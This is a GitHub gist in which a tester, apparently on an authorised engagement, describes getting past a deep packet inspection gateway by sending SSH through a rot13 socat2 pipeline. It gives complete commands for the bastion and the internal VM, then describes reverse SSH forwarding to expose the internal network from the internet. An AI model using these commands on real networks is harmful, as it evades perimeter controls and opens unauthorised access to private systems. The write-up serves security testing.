Skip to content

Instantly share code, notes, and snippets.

Last active January 22, 2024 05:08
Show Gist options
  • Star 91 You must be signed in to star a gist
  • Fork 8 You must be signed in to fork a gist
  • Save gmurdocca/88857b58dc4668d88b0d0fae6ebf8b64 to your computer and use it in GitHub Desktop.
Save gmurdocca/88857b58dc4668d88b0d0fae6ebf8b64 to your computer and use it in GitHub Desktop.
Circumventing Deep Packet Inspection with Socat and rot13

Circumventing Deep Packet Inspection with Socat and rot13

I have a Linux virtual machine inside a customer's private network. For security, this VM is reachable only via VPN + Citrix + Windows + a Windows SSH client (eg PuTTY). I am tasked to ensure this Citrix design is secure, and users can not access their Linux VM's or other resources on the internal private network in any way outside of using Citrix.

The VM can access the internet. This task should be easy. The VM's internet gateway allows it to connect anywhere on the internet to TCP ports 80, 443, and 8090 only. Connecting to an internet bastion box on one of these ports works and I can send and receive clear text data using netcat. I plan to use good old SSH, listening on tcp/8090 on the bastion, with a reverse port forward configured to expose sshd on the VM to the public, to show their Citrix gateway can be circumvented.

Rejected by Deep Packet Inspection

I hit an immediate snag. The moment I try to establish an SSH or SSL connection over one of the allowed ports, the connection gets immediately closed. They must have a sentinel device at their gateway doing inspection of TCP packet payloads. They permit SSL to some known websites (for https), but the moment I try to create an SSL or SSH connection to an unknown server (eg. to the bastion box), their gateway instantly terminates the TCP connection!

I figured it must be a deep packet inspector blocking me, a sentinel watching the conversation. In the case of SSH it may watch the protocol banner, the SSH-2.0-OpenSSH_8.7 bit at the beginning, or it might be looking for signatures anywhere in the conversation to identify it. If it detects an SSL or SSH conversation with a non-whitelisted host, it kills the connection.

Enter Caesar

So, I figure, why not do a rot13 over the entire conversation. Rot13, aka the Caesar Cypher, was developed circa 50 B.C. by Gaius Julius Caesar, which he used to protect messages of military significance. Being a simple mapping of the alphabet to itself rotated N times, thus having a key space of only 25, it would be amusing to use this ancient "encryption" method as a tool in a modern exploit. Scrambling the alphabetic characters of an SSH or SSL conversation in such a way should hopefully throw the deep packet inspection sentinel off the scent and allow the traffic to pass.

Rot13 is commonly installed from the bsdgames package in Linux. I tasked myself with building a rot13 transcoder pipeline, applying rot13 on every TCP message leaving the VM on a specific port, letting it go through the gateway's sentinel, and un-rot13 (or reapplying it with key=13) it back to its original form (and do same in reverse direction), and having the SSH client and server sit either side of this transcoder. Thus the OpenSSH banner would become FFU-2.0-BcraFFU_8.7 and the sentinel should let that (and the rest of the conversation) through. This sounded like a task for the socat tool, in particular the socat v2 feature of supporting unidirectional dual inter address chaining, see here:


To test, I used docker to install socat2 on either end, available ready to go via docker hub: timotto/docker-socat2. The invocations are as follows.

On the Bastion

sshd is listening on tcp/22 as usual. We invoke the docker container, mapping the host to fqdn host.docker.internal inside container:

docker run -it -p 8090:8090 --add-host host.docker.internal:$(ip addr show docker0 | grep -Po 'inet \K[\d.]+') timotto/docker-socat2 bash

Inside container at bash, install rot13 and start socat2, listening on tcp/8090 on the internet:

# install rot13
apt update; apt install bsdgames -y
# start socat2
socat "system1:stdbuf -o0 -- /usr/games/rot13 % system1:stdbuf -o0 -- /usr/games/rot13 | TCP4-LISTEN:8090,reuseaddr,fork" TCP4:host.docker.internal:22


  • the "system1:stdbuf -o0 -- /usr/games/rot13 % system1:stdbuf -o0 -- /usr/games/rot13 | TCP4-LISTEN:8090,reuseaddr,fork" part listens publically on tcp/8090 and does the rot13 transcoding using socat2's dual inter address chaining
  • the TCP4:host.docker.internal:22 part connects to sshd on the bastion, after a connection is made to tcp/8090 on the host
  • stdbuf -o0 is used to flush stdout often, else rot13 will flush per-line only, breaking the SSH protocol causing timeouts

On the VM (inside protected network)

Invoke docker container, again mapping host to host.docker.internal inside container:

docker run -it -p 8090:8090 --add-host host.docker.internal:$(ip addr show docker0 | grep -Po 'inet \K[\d.]+') timotto/docker-socat2 bash

inside container at bash, install rot13 and start socat:

#install rot13
apt update; apt install bsdgames -y
# start socat2
socat TCP4-LISTEN:8090,reuseaddr,fork "system1:stdbuf -o0 -- /usr/games/rot13 % system1:stdbuf -o0 -- /usr/games/rot13 | TCP4-CONNECT:<bastion_host>:8090"


  • the TCP4-LISTEN:8090,reuseaddr,fork listens on 8090 on the VM
  • the "system1:stdbuf -o0 -- /usr/games/rot13 % system1:stdbuf -o0 -- /usr/games/rot13 | TCP4-CONNECT:<bastion_host>:8090" connects to the bastion on tcp/8090 and does the rot13 transcoding

On another bash shell of the protected VM (eg. in another tmux window/pane):

# ssh to the bastion
ssh user@localhost -p8090

Boom, we get a connection, can login and get a shell. A quick tcpdump confirms all data is being scrambled by the ancient rot13 cypher. We're in :)


We can now SSH from the VM to a bastion on the internet using a rot13 transcoder on the TCP stream to hide from a deep packet inspector. Now, as originally planned, we can do the usual ssh -R (reverse port forward) to expose sshd on the protected VM, and anyone can SSH to it from anywhere on the internet via the bastion directly. From here, using usual SSH port forwarding techniques, in conjunction with for example ssh-encapsulated OpenVPN, access can be gained to any resource on the private network via the bastion in our control, bypassing Citrix completely.

This again shows that systems that can access the internet in some way or another can usually be compromised, even with deep packet inspecting sentinels at the perimeter.

Thanks to Julius Caesar for first implementing the encoder used in this task back in ~50 B.C. and helping to crack a modern packet inspecting firewall some 2071 years later :)

Copy link

TWilmer commented Mar 1, 2022

Nice, one could also use QR code in one direction and a button click to morse to send data back to the world.

Copy link

Very nice. Small correction though, for historical correctness: While Caesar did indeed use a rotational cipher to encrypt his communications, he used a rotation of three, not thirteen. ROT13 was invented later. As you mentioned it's easy to use because the same algorithm both encrypts and decrypts (which wouldn't have been the case in ancient Rome with its Latin alphabet of only 23 characters).

Copy link

IT is nice, but how about something working on android. I do not know run docker on android, i think because of kernel. Help

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment